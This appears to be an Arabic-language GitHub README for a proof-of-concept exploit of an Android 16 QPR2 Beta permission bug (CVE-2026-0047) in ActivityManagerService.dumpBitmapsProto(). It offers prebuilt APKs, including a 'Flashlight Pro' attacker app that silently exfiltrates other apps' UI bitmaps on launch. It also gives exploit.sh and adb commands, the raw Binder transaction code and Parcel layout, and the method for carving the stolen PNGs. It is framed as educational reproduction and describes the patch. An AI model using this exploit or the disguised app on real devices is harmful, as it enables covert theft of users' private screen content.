
CVE-2026-0047: عدم وجود فحص صلاحيات في ActivityManagerService.dumpBitmapsProto() — سرقة الصور النقطية لواجهة المستخدم من كل تطبيق قيد التشغيل بدون أي صلاحيات (Android 16 QPR2 Beta)
Heap of bitmaps stolen from every running app — zero permissions, zero user interaction.
A missing enforceCallingOrSelfPermission(DUMP) check in ActivityManagerService.dumpBitmapsProto() allows any installed app to exfiltrate UI bitmaps from all running processes on Android 16 QPR2 Beta (Baklava).
ملاحظة: نحن لم نكتشف هذه الثغرة الأمنية. كل الفضل في الاكتشاف والإبلاغ المسؤول يعود إلى الباحثين الأصليين. يحتوي هذا المستودع على تحليلنا المستقل للتصحيح، وإعادة الإنتاج، وكتابة تعليمية لمساعدة مجتمع الأمن على فهم فئة هذا الخلل وتقنيات الاستغلال المعنية.
| CVE | CVE-2026-0047 |
| الشدة | Critical — CVSS 8.4 |
| المكوّن | ActivityManagerService.dumpBitmapsProto() |
| السبب الجذري | Missing permission check (CWE-280) |
| الأثر | Any zero-permission app steals UI bitmaps from all running apps |
| المتأثر | Android 16 QPR2 Beta 1–3 (Baklava), patch level < 2026-03-01 |
| تم التصحيح | March 2026 Android Security Bulletin |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
تحتاج إلى محاكي Android 16 QPR2 Beta (Baklava) بمستوى تصحيح أمني قبل 2026-03-01:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
فحص Binder خام — رمز المعاملة #117 على خدمة activity يُرسم إلى dumpBitmapsProto(). إرساله بدون وسائط يسبّب NullPointerException داخل AMS (وليس SecurityException)، مما يثبت أن نص الدالة يُنفَّذ دون أي فحص إذن.
استغلال Binder خام — نستخدم IBinder.transact() لإرسال Parcel مُصنّع يدويًا مباشرة إلى AMS. هذا يتجاوز قيود Android الخاصة بالواجهات المخفية تمامًا — دون الحاجة إلى إعداد hidden_api_policy. يحتوي الـ Parcel على:
android.app.IActivityManager)ParcelFileDescriptor (طرف الكتابة في الأنبوب)userId = -2 (USER_CURRENT)dumpAll = trueعلى محاكي Baklava (BP41.250725.007, patch 2025-08-05) مع فتح Settings وClock وFiles:
أضافت Google enforceCallingOrSelfPermission(DUMP) كسطر أول في dumpBitmapsProto()، بحيث يحصل المتصلون غير المميزين الآن على SecurityException قبل الوصول إلى أي بيانات.
البحث وتطبيق الـ PoC بواسطة Mobile Hacking Lab. أعدنا إنتاج هذه الثغرة بشكل مستقل لأغراض تعليمية.
هذا المفهوم البرهاني مُقدَّم لأغراض تعليمية وبحوث أمنية مصرّح بها فقط. استخدمه فقط على الأجهزة والبيئات التي تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام.
format = "png"استخراج الصور النقطية — يكتب AMS بيانات protobuf تحتوي على صور PNG نقطية إلى الأنبوب. نبحث عن توقيع PNG السحري (89 50 4E 47) ونهايات IEND لاستخراج الصور الفردية.